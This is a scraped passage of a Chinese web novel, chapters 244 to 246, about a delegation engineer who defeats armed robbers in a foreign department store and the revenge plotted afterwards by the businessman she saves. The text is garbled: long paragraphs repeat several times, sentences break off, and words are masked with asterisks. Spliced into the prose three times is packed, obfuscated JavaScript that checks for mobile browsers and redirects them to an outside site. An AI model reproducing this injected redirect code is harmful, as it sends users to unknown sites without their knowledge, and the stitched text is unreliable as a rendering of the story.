正当姜海棠专注地比较着两款手表的价格时,忽然感觉衣角被轻轻拽了一下。 终归没有错。 “你说得对,我们小心点就是,买完东西就回去。” 他们来的这座商场是一座五层楼的宏伟建筑,大理石台阶上人来人往。 推开旋转门,里面琳琅满目的商品让两人一时有些眼花缭乱。 “我去三楼看看手表,你呢?”姜海棠问道。 她想着给爷爷买一块手表回去。 “我去二楼看看衣服。一小时后在大门口集合?”王子华想着一个小时时间,应该差不多了。 “好。”姜海棠答应下来。 二人分开行动。 姜海棠乘电梯上到三楼,手表专柜前几位西装革履的商人正在挑选商品。 其中一位身材高大的中年男子引起了她的注意,那人金发碧眼,穿着考究的深灰色西装,正在与售货员交谈。 “这款百达翡丽有钢带的吗?”男子问道,声音低沉有力。 “很抱歉,施耐德先生,目前只有皮带的现货。”售货员恭敬地回答。 从售货员的态度,姜海棠能感觉出来,眼前这个男人身份绝对不一般。 不过,姜海棠并没有打算与无关的人多打交道,她只是不动声色地站在一旁,等待服务。 或许是因为姜海棠的穿着过于朴素,又或者是姜海棠是陌生的东方面孔,并没有人过来接待她。 姜海棠也不气恼,只是慢慢浏览着一块块手表,在心里盘算着,自己应该买一块什么价位。 正当姜海棠专注地比较着两款手表的价格时,忽然感觉衣角被轻轻拽了一下。 终归没有错。 “你说得对,我们小心点就是,买完东西就回去。” 他们来的这座商场是一座五层楼的宏伟建筑,大理石台阶上人来人往。 推开旋转门,里面琳琅满目的商品让两人一时有些眼花缭乱。 “我去三楼看看手表,你呢?”姜海棠问道。 她想着给爷爷买一块手表回去。 “我去二楼看看衣服。一小时后在大门口集合?”王子华想着一个小时时间,应该差不多了。 “好。”姜海棠答应下来。 二人分开行动。 姜海棠乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990903|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电梯上到三楼,手表专柜前几位西装革履的商人正在挑选商品。 其中一位身材高大的中年男子引起了她的注意,那人金发碧眼,穿着考究的深灰色西装,正在与售货员交谈。 “这款百达翡丽有钢带的吗?”男子问道,声音低沉有力。 “很抱歉,施耐德先生,目前只有皮带的现货。”售货员恭敬地回答。 从售货员的态度,姜海棠能感觉出来,眼前这个男人身份绝对不一般。 不过,姜海棠并没有打算与无关的人多打交道,她只是不动声色地站在一旁,等待服务。 或许是因为姜海棠的穿着过于朴素,又或者是姜海棠是陌生的东方面孔,并没有人过来接待她。 姜海棠也不气恼,只是慢慢浏览着一块块手表,在心里盘算着,自己应该买一块什么价位。 正当姜海棠专注地比较着两款手表的价格时,忽然感觉衣角被轻轻拽了一下。 终归没有错。 “你说得对,我们小心点就是,买完东西就回去。” 他们来的这座商场是一座五层楼的宏伟建筑,大理石台阶上人来人往。 推开旋转门,里面琳琅满目的商品让两人一时有些眼花缭乱。 “我去三楼看看手表,你呢?”姜海棠问道。 她想着给爷爷买一块手表回去。 “我去二楼看看衣服。一小时后在大门口集合?”王子华想着一个小时时间,应该差不多了。 “好。”姜海棠答应下来。 二人分开行动。 姜海棠乘电梯上到三楼,手表专柜前几位西装革履的商人正在挑选商品。 其中一位身材高大的中年男子引起了她的注意,那人金发碧眼,穿着考究的深灰色西装,正在与售货员交谈。 “这款百达翡丽有钢带的吗?”男子问道,声音低沉有力。 “很抱歉,施耐德先生,目前只有皮带的现货。”售货员恭敬地回答。 从售货员的态度,姜海棠能感觉出来,眼前这个男人身份绝对不一般。 不过,姜海棠并没有打算与无关的人多打交道,她只是不动声色地站在一旁,等待服务。 或许是因为姜海棠的穿着过于朴素,又或者是姜海棠是陌生的东方面孔,并没有人过来接待她。 姜海棠也不气恼,只是慢慢浏览着一块块手表,在心里盘算着,自己应该买一块什么价位。 正当姜海棠专注地比较着两款手表的价格时,忽然感觉衣角被轻轻拽了一下。 终归没有错。 “你说得对,我们小心点就是,买完东西就回去。” 他们来的这座商场是一座五层楼的宏伟建筑,大理石台阶上人来人往。 推开旋转门,里面琳琅满目的商品让两人一时有些眼花缭乱。 “我去三楼看看手表,你呢?”姜海棠问道。 她想着给爷爷买一块手表回去。 “我去二楼看看衣服。一小时后在大门口集合?”王子华想着一个小时时间,应该差不多了。 “好。”姜海棠答应下来。 二人分开行动。 姜海棠乘电梯上到三楼,手表专柜前几位西装革履的商人正在挑选商品。 其中一位身材高大的中年男子引起了她的注意,那人金发碧眼,穿着考究的深灰色西装,正在与售货员交谈。 “这款百达翡丽有钢带的吗?”男子问道,声音低沉有力。 “很抱歉,施耐德先生,目前只有皮带的现货。”售货员恭敬地回答。 从售货员的态度,姜海棠能感觉出来,眼前这个男人身份绝对不一般。 不过,姜海棠并没有打算与无关的人多打交道,她只是不动声色地站在一旁,等待服务。 或许是因为姜海棠的穿着过于朴素,又或者是姜海棠是陌生的东方面孔,并没有人过来接待她。 姜海棠也不气恼,只是慢慢浏览着一块块手表,在心里盘算着,自己应该买一块什么价位。 正当姜海棠专注地比较着两款手表的价格时,忽然感觉衣角被轻轻拽了一下。 终归没有错。 “你说得对,我们小心点就是,买完东西就回去。” 他们来的这座商场是一座五层楼的宏伟建筑,大理石台阶上人来人往。 推开旋转门,里面琳琅满目的商品让两人一时有些眼花缭乱。 “我去三楼看看手表,你呢?”姜海棠问道。 她想着给爷爷买一块手表回去。 “我去二楼看看衣服。一小时后在大门口集合?”王子华想着一个小时时间,应该差不多了。 “好。”姜海棠答应下来。 二人分开行动。 姜海棠乘电梯上到三楼,手表专柜前几位西装革履的商人正在挑选商品。 其中一位身材高大的中年男子引起了她的注意,那人金发碧眼,穿着考究的深灰色西装,正在与售货员交谈。 “这款百达翡丽有钢带的吗?”男子问道,声音低沉有力。 “很抱歉,施耐德先生,目前只有皮带的现货。”售货员恭敬地回答。 从售货员的态度,姜海棠能感觉出来,眼前这个男人身份绝对不一般。 不过,姜海棠并没有打算与无关的人多打交道,她只是不动声色地站在一旁,等待服务。 或许是因为姜海棠的穿着过于朴素,又或者是姜海棠是陌生的东方面孔,并没有人过来接待她。 姜海棠也不气恼,只是慢慢浏览着一块块手表,在心里盘算着,自己应该买一块什么价位。 正当姜海棠专注地比较着两款手表的价格时,忽然感觉衣角被轻轻拽了一下。 第244章 ** 她低头看去,一个约莫五六岁的金发小男孩正仰头望着她,蓝色的大眼睛里盈满泪水。 “漂亮的女士……我找不到我的妈妈了……”小男孩说话的时候,十分委屈,小手紧紧攥着她的衣角不放。 姜海棠蹲下身来,让自己的视线与孩子平齐。 小男孩穿着考究的小西装,但领结已经歪斜,金色卷发也乱糟糟的,显然已经独自徘徊了一段时间。 “别怕,告诉我你叫什么名字?”姜海棠用温和地问道,同时环顾四周寻找可能的家长。 “我叫埃尔文·卡尔顿。”小男孩抽噎着回答,“我和妈妈一起来,给祖父买生日礼物……然后……然后我就不见她了!” 就在这时,姜海棠注意到不远处那位被称为“施耐德先生”的商人突然转过头来,目光锐利地看向这边。 他的表情从惊讶迅速转为警惕,大步朝他们走来。 “埃尔文!你怎么在这里?”施耐德用德语严厉地问道,随即警惕地看向姜海棠,“这位女士,请问你和我儿子在说什么?” 姜海棠站起身,平静地解释:“施耐德先生是吗?这位埃尔文·卡尔顿小朋友是您的儿子?” “你为什么和我的儿子在一起?”施耐德十分固执地问姜海棠。 姜海棠深吸一口气,耐心地解释说道:“施耐德先生,您的儿子走丢了,正在寻求帮助,他找到了我,并不是我和他在一起!” 施耐德显然并不是很相信姜海棠的说辞,可是脸上的表情到底还是因为姜海棠的解释缓和一些。 他蹲下抱住儿子,快速询问着什么。 小男孩边哭边回答,不时指向各个方向。 姜海棠听见了,也只当做没有听到,反正小孩子找到了家人,她就不用管了。 还是抓紧时间买到自己想要的东西之后回去吧。 “小姐,麻烦您将这一块手表拿给我看看!”姜海棠指着柜台里的一块手表说道。 然而,站在柜台里的服务人员却像是没有听见一样,并没有搭理姜海棠。 姜海棠又重复了一遍,对方依然没有动作。 就在姜海棠想说什么的时候,施耐德重新站了起来。 “这位女士,我为我的鲁莽向您道歉。我已经问清楚了,我夫人去楼下取预订的商品,埃尔文自己乱跑迷路了。最近商场里不**全,我也是太担心了……” 姜海棠微笑着说道:“您的儿子很漂亮,也很可爱。我也有孩子,能理解您的心情……” 话音未落,商场内突然响起了刺耳的警报声,紧接着是几声震耳欲聋的枪响。 “所有人趴下!不许动!”一个粗噶的声音从楼下传来,似乎是在楼梯上。 姜海棠的反应比思维更快,她一把拉过小埃尔文,同时拽着施耐德躲到了最近的柜台后面。 几乎在同一时刻,一阵急促的脚步声从楼梯传来,四名戴着黑色面罩、手持**的**冲上了三楼。 “爸爸!”埃尔文惊恐地叫道。 施耐德是大人,马上意识到这样会引起歹徒的注意,他连忙捂住埃尔文的嘴。 “嘘,别出声,像玩游戏一样躲好。” 姜海棠用十分低的声音安抚孩子,同时目光迅速扫视周围环境。 三楼的人群早在歹徒上来的一瞬间乱作一团,尖叫声此起彼伏,这会儿,整个乱成一团。 **头目身材魁梧,右手**,左手腕上戴着一块金光闪闪的手表,姜海棠敏锐地注意到这块表与柜台里最昂贵的一款一模一样。 “所有人听着!把值钱的东西放进这个袋子!”**头目将一个黑色旅行袋扔在地上,“谁敢反抗,就送他去见上帝!“ 两名**将袋子丢在地上之后,并不一个个搜刮顾客的财物,而是直奔柜台,他们的目标很明确,都是物品价值高体积小的专柜。 姜海棠心里咯噔一下,他们现在的目标在珠宝柜台,可是,手表有可能也是他们的目标物品之一,而此刻,她待的这个位置并不是很安全。 姜海棠屏住呼吸,观察着**的行动规律,他们显然训练有素,一人警戒,三人搜刮,且三个人之间的距离并不远,关键时候,可以彼此支援。 她一动不敢动,她此刻,只要挪动一步,就会被发现。 姜海棠脑子飞快地转动着,想着怎么才能破局。 就在姜海棠思索对策时,一名**突然朝他们藏身的柜台走来。 那双沾满灰尘的军靴在光洁的大理石地面上发出令人心悸的声响,每一步都像是踩在人的神经上。 姜海棠不动声色地蹲的更加低了一点,她原本个头就不是很高,人也瘦,加之这段时间在国外,饮食不习惯,工作又忙,现在更是瘦巴巴的,压低身体之后,正好躲在了柜台的阴影位置。 “把手表都交出来!”**用**狠狠砸碎玻璃柜台,碎片飞溅到姜海棠脚边。 她下意识将小埃尔文往身后护了护,然而,就是这样一个细微的动作却引起了**的注意。 “ 谁在那里?出来。”**猛地转身,黑洞洞的枪口直指柜台后方。 施耐德的身体瞬间绷紧,姜海棠能感觉到这位父亲已经做好了拼命的准备。 就在这千钧一发之际,她突然大喊:“小心!有人从后面偷袭!” **条件反射的回头,姜海棠趁机抓起地上的玻璃碎片,精准地掷向****的手腕。 “啊!”**吃痛松手,**歪斜了依稀,却没有落地。 只是一小块玻璃的攻击性太小了,并不足以击伤敌人。 但现在的这种情况,他们只能反抗,而不是坐以待毙。 “快走!”姜海棠一把抱起埃尔文,拉着施耐德冲向最近的消防通道。 身后传来**愤怒的咆哮和杂乱的脚步声。 “站住!再跑就开枪了!” 姜海棠充耳不闻,只是速度地转到下一个柜台,然后快速蹲下来。 这时候,**已经追过来,并且将施耐德用枪指住。 “你!手表摘下来!”一名**用枪指着施耐德。 施耐德颤抖着解下手表,正要递过去时,**头目突然走了过来盯着施耐德的脸,眼中闪过一丝异样的光芒。 “等等……施耐德?” 施耐德脸色瞬间变得惨白:“你……你是谁?“ 头目冷笑一声,摘下了自己的面罩,露出一张布满伤疤的脸:“三年前你关闭工厂时,我就在那里工作。今天,我要你血债血偿!” 埃尔文吓得紧紧抱住父亲的大腿。 **头目举起枪对准施耐德的额头,手指扣在**上。 千钧一发之际,姜海棠抓起柜台上的金属计算器,用尽全力掷向**头目的手腕。 “砰”的一声,计算器精准命中目标,**的枪口一偏,**擦着施耐德的耳朵射入身后的墙壁。 姜海棠一把推开施耐德父子,同时一个翻滚躲到了另一排柜台后面。 **头目怒吼一声:“杀了那个东方女人!” **如雨点般倾泻而来,柜台玻璃碎片四溅。 姜海棠匍匐前进,脑海中迅速计算着逃生路线,电梯已经被控制,安全通道在**身后,唯一的出路是…… 她瞥见不远处墙上的消防设备和通风管道入口。 只有从这里走了,她绝对能通过,可是,施耐德和埃尔文父子二人只怕是难以通过。 姜海棠心中飞快的盘算,这位施耐德她不知道是什么人,但已经因为这个人,和**对上了,那 这个人情,姜海棠无论如何都想拿下。 “埃尔文,闭上眼睛!”姜海棠突然喊道,然后猛地拉下消防栓的开关。 高压水柱从消防管道中喷涌而出,直接冲击在最前面的两名**身上。姜海棠趁机冲上前,一个侧踢将第三名**的**踢飞,紧接着一记肘击击中对方咽喉。 **头目见势不妙,举枪瞄准了施耐德。 姜海棠眼疾手快,抓起地上的金属托盘掷向头目。 托盘旋转着飞过去,虽然没能击中目标,但成功干扰了对方的瞄准。 **的**再一次没有命中目标。 “你这该死的黄皮女人!”头目调转枪口,对着姜海棠连开三枪。 姜海棠早有准备,一个鱼跃躲到了货架后面。 **击穿了货架上的商品,也不知道到底击中了什么,形成了一片白色雾。 借着这短暂的视线遮挡,姜海棠迅速移动到**头目侧面。 施耐德飞快地将埃尔文推到一间储藏室里,然后也朝着**包抄过去。 虽然这个东方女人看起来很厉害,可是作为男人,他不能等着让女人保护。 当烟雾稍散,**头目正四处搜寻目标时,姜海棠从侧面猛扑过去,一记手刀精准砍在对方**的手腕上。 枪应声落地,但头目反应极快,左手一记勾拳击中姜海棠的腹部。 剧痛让姜海棠弯下腰,但她咬牙忍住,顺势一个头槌撞在对方下巴上。 头目踉跄后退,撞翻了身后的货架。各种商品噼里啪啦砸在他身上,其中一个罐子正好砸中他的头部,**哀嚎一声。 这个人情,姜海棠无论如何都想拿下。 “埃尔文,闭上眼睛!”姜海棠突然喊道,然后猛地拉下消防栓的开关。 高压水柱从消防管道中喷涌而出,直接冲击在最前面的两名**身上。姜海棠趁机冲上前,一个侧踢将第三名**的**踢飞,紧接着一记肘击击中对方咽喉。 **头目见势不妙,举枪瞄准了施耐德。 姜海棠眼疾手快,抓起地上的金属托盘掷向头目。 托盘旋转着飞过去,虽然没能击中目标,但成功干扰了对方的瞄准。 **的**再一次没有命中目标。 “你这该死的黄皮女人!”头目调转枪口,对着姜海棠连开三枪。 姜海棠早有准备,一个鱼跃躲到了货架后面。 **击穿了货架上的商品,也不知道到底击中了什么,形成了一片白色雾。 借着这短暂的视线遮挡,姜海棠迅速移动到**头目侧面。 施耐德飞快地将埃尔文推到一间储藏室里,然后也朝着**包抄过去。 虽然这个东方女人看起来很厉害,可是作为男人,他不能等着让女人保护。 当烟雾稍散,**头目正四处搜寻目标时,姜海棠从侧面猛扑过去,一记手刀精准砍在对方**的手腕上。 枪应声落地,但头目反应极快,左手一记勾拳击中姜海棠的腹部。 剧痛让姜海棠弯下腰,但她咬牙忍住,顺势一个头槌撞在对方下巴上。 头目踉跄后退,撞翻了身后的货架。各种商品噼里啪啦砸在他身上,其中一个罐子正好砸中他的头部,**哀嚎一声。 这个人情,姜海棠无论如何都想拿下。 “埃尔文,闭上眼睛!”姜海棠突然喊道,然后猛地拉下消防栓的开关。 高压水柱从消防管道中喷涌而出,直接冲击在最前面的两名**身上。姜海棠趁机冲上前,一个侧踢将第三名**的**踢飞,紧接着一记肘击击中对方咽喉。 **头目见势不妙,举枪瞄准了施耐德。 姜海棠眼疾手快,抓起地上的金属托盘掷向头目。 托盘旋转着飞过去,虽然没能击中目标,但成功干扰了对方的瞄准。 **的**再一次没有命中目标。 “你这该死的黄皮女人!”头目调转枪口,对着姜海棠连开三枪。 姜海棠早有准备,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枪应声落地,但头目反应极快,左手一记勾拳击中姜海棠的腹部。 剧痛让姜海棠弯下腰,但她咬牙忍住,顺势一个头槌撞在对方下巴上。 头目踉跄后退,撞翻了身后的货架。各种商品噼里啪啦砸在他身上,其中一个罐子正好砸中他的头部,**哀嚎一声。 这个人情,姜海棠无论如何都想拿下。 “埃尔文,闭上眼睛!”姜海棠突然喊道,然后猛地拉下消防栓的开关。 高压水柱从消防管道中喷涌而出,直接冲击在最前面的两名**身上。姜海棠趁机冲上前,一个侧踢将第三名**的**踢飞,紧接着一记肘击击中对方咽喉。 **头目见势不妙,举枪瞄准了施耐德。 姜海棠眼疾手快,抓起地上的金属托盘掷向头目。 托盘旋转着飞过去,虽然没能击中目标,但成功干扰了对方的瞄准。 **的**再一次没有命中目标。 “你这该死的黄皮女人!”头目调转枪口,对着姜海棠连开三枪。 姜海棠早有准备,一个鱼跃躲到了货架后面。 **击穿了货架上的商品,也不知道到底击中了什么,形成了一片白色雾。 借着这短暂的视线遮挡,姜海棠迅速移动到**头目侧面。 施耐德飞快地将埃尔文推到一间储藏室里,然后也朝着**包抄过去。 虽然这个东方女人看起来很厉害,可是作为男人,他不能等着让女人保护。 当烟雾稍散,**头目正四处搜寻目标时,姜海棠从侧面猛扑过去,一记手刀精准砍在对方**的手腕上。 枪应声落地,但头目反应极快,左手一记勾拳击中姜海棠的腹部。 剧痛让姜海棠弯下腰,但她咬牙忍住,顺势一个头槌撞在对方下巴上。 头目踉跄后退,撞翻了身后的货架。各种商品噼里啪啦砸在他身上,其中一个罐子正好砸中他的头部,**哀嚎一声。 这个人情,姜海棠无论如何都想拿下。 “埃尔文,闭上眼睛!”姜海棠突然喊道,然后猛地拉下消防栓的开关。 高压水柱从消防管道中喷涌而出,直接冲击在最前面的两名**身上。姜海棠趁机冲上前,一个侧踢将第三名**的**踢飞,紧接着一记肘击击中对方咽喉。 **头目见势不妙,举枪瞄准了施耐德。 姜海棠眼疾手快,抓起地上的金属托盘掷向头目。 托盘旋转着飞过去,虽然没能击中目标,但成功干扰了对方的瞄准。 **的**再一次没有命中目标。 “你这该死的黄皮女人!”头目调转枪口,对着姜海棠连开三枪。 姜海棠早有准备,一个鱼跃躲到了货架后面。 **击穿了货架上的商品,也不知道到底击中了什么,形成了一片白色雾。 借着这短暂的视线遮挡,姜海棠迅速移动到**头目侧面。 施耐德飞快地将埃尔文推到一间储藏室里,然后也朝着**包抄过去。 虽然这个东方女人看起来很厉害,可是作为男人,他不能等着让女人保护。 当烟雾稍散,**头目正四处搜寻目标时,姜海棠从侧面猛扑过去,一记手刀精准砍在对方**的手腕上。 枪应声落地,但头目反应极快,左手一记勾拳击中姜海棠的腹部。 剧痛让姜海棠弯下腰,但她咬牙忍住,顺势一个头槌撞在对方下巴上。 头目踉跄后退,撞翻了身后的货架。各种商品噼里啪啦砸在他身上,其中一个罐子正好砸中他的头部,**哀嚎一声。 第245章 施耐德的举措 头目痛苦地捂住脑袋显然疼痛十分剧烈。 姜海棠没有给他喘息的机会一个箭步上前右腿横扫将对方放倒。 不得不说头目还是挺厉害的就算脑袋嗡嗡作响他还是朝着姜海棠的方向扑了过来打算与姜海棠对打。 姜海棠本能的侧身闪开。 **头目不知何时爬了起来手中多了一把**正朝她刺来。 姜海棠闪避不及**划破了他的左臂鲜血立刻染红了衬衫袖子。 剧痛激发了姜海棠的战斗本能。 她右手成刀一记拳头精准击中头目持刀的手腕同时左膝猛顶对方下部。 头目闷哼一声**落地因为某个部位的剧痛头目整个人蜷缩着倒了下去。 姜海棠迅速捡起地上的**对准了其余**。 其实姜海棠并不会用枪但是上辈子电视上看过装模作样还是会的这会儿吓唬住对方就够了。 “放下武器!”她用D语命令道声音沉稳有力。 剩下的两名**见头目被制服又看到姜海棠手中的**犹豫片刻后丢下了武器。 远处终于传来了警笛声。 很快警察就将顺着楼梯爬了上来。 在确定安全之后施耐德抱着埃尔文探出头一大一小两人脸上满是震惊和感激:“女士……你救了我们的命。” 姜海棠微微点头目光仍警惕地盯着地上的**:“你们没事吧?” 小埃尔文突然挣脱父亲的手 这时全副武装的警察冲进了商场。 一名警官走向姜海棠看到她凌乱的头发和破损的衣角立刻呼叫了医护人员。 “你是……华国代表团的?”警官试探着问道:“你用的是华国功夫?” 姜海棠没想到到对方会觉得自己用了华国功夫。 不过她还是点点头简单描述了事发经过。 施耐德在一旁补充不断强调是这位华国女英雄救了他们父子。 医护人员为姜海棠包扎伤口时施耐德郑重地握住她的手:“这位女士我不知道该如何感谢你。我是克劳斯·施耐德D国**集团的董事长。如果不是你我今天必死无疑。” 想起来他都还觉得后怕这样危险的时候是这位漂亮的中国女士愿意以命相搏救他这份恩情大了。 “我叫姜海棠华国代表团的一名工程 师。姜海棠平静地回答,“任何人遇到这种情况都会出手相助。 施耐德摇摇头:“不,不是所有人都有你这样的勇气和身手。你不仅救了我的命,还阻止了一场更大的悲剧。 他压低声音,“事实上,我怀疑,这件事是有预谋的。我们D国,一直有一部分人反对华国,而我下周将要去华国洽谈一个重要合作项目,这关系到两国钢铁技术的交流…… 姜海棠眼中闪过一丝惊讶,但很快恢复了平静。 她只以为这是一起寻常的**案,却没有想过,竟然是有预谋的,而且,还是针对亲近华国的商人。 如果是这样,他们这些天的风险还真的挺高。 思及此,姜海棠的脸色都白了起来。 “爸爸!妈妈还在楼下!埃尔文突然想起什么,惊恐地叫道。 施耐德脸色大变。 姜海棠立即转向警官:“一楼可能还有人质,**应该不止这四人。 “已经安排好了,施耐德先生,请您放心,夫人一定不会有事。 果然很快消息传来,所有的**同伙已经被控制,所有人质安全,包括施耐德夫人。 当施耐德夫人被护送上楼,一家人相拥而泣时,姜海棠悄悄退到一旁。 她的手臂在打斗中被玻璃划伤,方才已经有医护人员给她进行了简单的包扎。 只是,她回国的时候,伤应该还好不了,良辰又要担心了。 但看着眼前这一家人的团圆,姜海棠又觉得,这点小伤算不了什么。 “姜同志!王子华气喘吁吁地从二楼冲上来,“你没事吧? “我没事,一点小伤,不要紧。就是我们可能得晚些回去了。姜海棠勉强笑了笑,等下应该还要去做笔录什么的。 施耐德一家走过来,郑重地向姜海棠道谢。 埃尔文拉着母亲的手,骄傲地说:“妈妈,这位漂亮的华国阿姨非常厉害!她像超人一样打败了所有坏蛋! 施耐德夫人热泪盈眶,握住姜海棠的手不放:“谢谢你救了我的家人……我们永远感激你。 “您不用客气,施耐德夫人,换成任何人,都会保护埃尔文的。姜海棠伸手抚摸了一下埃尔文的脑袋,笑着说。 警方调查持续到傍晚。 当姜海棠和王子华终于获准离开时,施耐德坚持用自己的车送他们回宾馆。 “姜女士, 前能否共进早餐?我有些想法想与你分享。” 姜海棠看了看王子华后者正用好奇的目光看着他。他点点头:“荣幸之至施耐德先生。不过因为时间比较紧张我希望能在我们下榻的宾馆。” 施耐德立即答应下来。 回到宾馆王子华终于忍不住问道:“到底怎么回事?你怎么成了英雄?还认识了D国的大企业家?” 姜海棠简单讲述了事情经过省略了施耐德提到的合作项目部分。 王子华听得目瞪口呆:“老天你居然一个人对付四个****?你学过?” “从小锻炼过并不是很专业。” 姜海棠轻描淡写地说看起来还是不够厉害要是足够厉害就不会受伤了。 等回去之后还是要加强锻炼才行。 此时的姜海棠浑然忘记了她刚才可是一个人面对好几个歹徒虽然那些歹徒因为现场人多有所分心但能打得过 两个人正在说话周副部长和其他人急匆匆地走了进来。 “姜同志!听说你在商场见义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010224|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇为受伤了?”周副部长快步上前关切地打量着她包扎的手臂。 “没事的周副部长就是皮外伤休息两天就没事了。”姜海棠微笑着回答。 另外一名工程师老张给姜海棠倒了一杯水说:“今天被吓到了吧?你一个女同志面对**歹徒……” “是啊我们都担心坏了!我还一直以为国外什么都好现在看起来也不是太危险了。”年轻的翻译小周脸色苍白地说:“你不知道警方通知我们的时候真的是吓坏了。” “你的伤口要不要紧我们送你去一趟医院吧?明天就要返程包扎不好路上我们也不能安心。” “是啊出发之前我们必须再次让大夫给你包扎一下才行。” 听着大家七嘴八舌的话姜海棠心头一暖“谢谢大家关心我真的没事。在国外遇到这种情况换做你们也会挺身而出的。” 周副部长严肃地说:“这件事我已经向大使馆汇报了明天回国前大使要亲自接见你。” 姜海棠一愣他们在D国这么长的时间大使都没有说要接见谁突然之间要接待自己还真的挺意外的。 “时间够用吗?”姜海棠问。 “够用我们是明天下午两点三十五分的飞机早上九点半大使接见你。”周副部长说道。 就在这时房间电话突然响起。 小周疑 惑地接起电话,表情变得惊讶:“是……是施耐德先生找姜同志。” 姜海棠接过电话,听筒里传来施耐德低沉的声音:“姜女士,我已经查清楚了。今天的事和我怀疑的一样,是汉斯集团策划的。” 姜海棠握紧听筒:“您确定吗?” “我非常确定,姜女士。”施耐德的声音透着冷意,“汉斯买通了商场保安,故意引开我夫人。” 姜海棠倒吸一口冷气,难怪那些**目标如此明确。 “我已经采取了措施。”施耐德的声音忽然变得柔和,“明天早餐时,我会详细告诉你。” “好的,施耐德先生。” “姜小姐,我打电话给您,是想提醒您,虽然你们马上就要回国了,但还是要小心,汉斯这个人,有些疯狂。” “谢谢您,施耐德先生,我们会小心的。” “今天辛苦你了,请好好休息,晚安。” 挂断电话,姜海棠发现全屋人都在盯着她。 “那个……施耐德先生就是您救的商人?”小周小心翼翼地问。 姜海棠点点头,简单解释了施耐德的身份,至于施耐德说的其他事情,她并没有对大家讲,而是等大部分人离开,只剩下周副部长的时候,才将情况说了。 “姜海棠同志,你提供的信息很重要。”周副部长立即说:“我会沟通大使馆,在我们离开之前加强安保。” 挂断与姜海棠的电话后,施耐德站在窗前。 他的首席安全官马克斯·霍夫曼正垂手立在身后,等待指示。 第246章 回国 “汉斯……”施耐德缓缓转动左手无名指上的家族印章戒指,声音冷得像冰,“马克斯,我要知道他们核心成员每个人的动向,尤其是犯罪记录。” 马克斯立即打答应:“已经初步调查清楚,今天的事情是汉斯一手安排的,出面的是……以上就是我们对今天的情况的调查报告,此外,根据目前掌握的情况,汉斯可能与一些不法分子有联系,并试图做出一些破坏安定的事。” “同时,根据我们对汉斯财务状况的调查,汉斯集团在谋取非法收入的同时,还有隐瞒财产不按照规定缴纳税款的情况。” “继续进行调查,要有确凿的证据。”施耐德的表情十分阴狠。 “他们这是蓄意**!他们甚至想对埃尔文下手,这是不可原谅的!” “老板,现在的问题是,我们没有司法证据。”马克斯谨慎地说,“我们掌握的这些线索都只是间接关联。” 施耐德走到酒柜前,给自己倒了杯威士忌。 琥珀色的液体在杯中晃动,倒映出他阴鸷的眼神。 “法律有法律的途径,如果实在不能获取司法证据,那就创造证据,创造不了证据,卡尔顿家族还有家族的方式!”他抿了一口酒,拿起桌上的电话,拨通了一个号码。 电话那头传来沙哑的声音:“克劳斯?我听说今天商场的事了。” “弗朗茨叔叔,我需要‘铁匠’的帮助。” 电话那头沉默了几秒:“为什么?” “为了家族荣誉。”施耐德看着儿子熟睡的脸,“他们触碰了底线。” 挂断电话后,施耐德对马克斯下达了一连串指令:“第一,把埃尔文和夫人尽快送回瑞士庄园;第二,通知我们在联邦刑警的内线,今晚突击检查汉斯集团税务问题;第三……” 他停顿了一下,“准备随时对汉斯集团进行围剿,不能让他们继续存在下去。” 马克斯身体一震:“是,老板!” 施耐德捏着酒杯,看着窗外说:“我要汉斯的核心实验室见不到明天的太阳。” 凌晨三点,汉斯集团大楼剩余几个零星的灯光全部熄灭。 与此同时,城郊的汉斯实验室突然响起刺耳的警报。 值班员惊恐地发现,所有仪器正在以惊人的速度升温…… 当消防车赶到时,整个实验室已被熊熊大火吞噬。 **长看着手中刚刚收到的查封命令,默默收起了水枪。 这一切,姜海棠都是不知道的,昨天经历了一场打 斗,她疲惫不堪,躺在床上就睡了。 反正在这座酒店,他们每个人都是安全的,即便是汉斯,也没有办法动手。 毕竟,代表团的安全出了问题,D国难辞其咎。 姜海棠唯一担心的就是,临上飞机之前,但这不是现在应该担心的问题。 第二天清晨,姜海棠刚洗漱完毕,宾馆前台就打来电话,施耐德先生已经在餐厅等候。 餐厅的包厢里,施耐德一家早已抵达。 小埃尔文一见到姜海棠就扑过来抱住她:“华国阿姨!爸爸说你是我们家的守护天使!” 施耐德夫人起身,将一个包装精致的礼盒递给姜海棠:“这是我们的一点心意,请务必收下。” 姜海棠打开盒子,里面是一块精美的女士腕表。 她刚要推辞,施耐德就抬手制止:“这不是普通的礼物,表盘背面刻着我们家族的徽章,在欧洲任何地方出示它,都能获得卡尔顿家族的全力协助。” 姜海棠震惊地看着这块价值连城的手表,刚要开口拒绝,施耐德夫人又开口了。 “我听说你昨天是去商场给家人采购礼物的,很遗憾为了救我们破坏了你的计划,我特意准备了一些D国的特色小礼物,希望你的家人能够喜欢。”施耐德夫人又说。 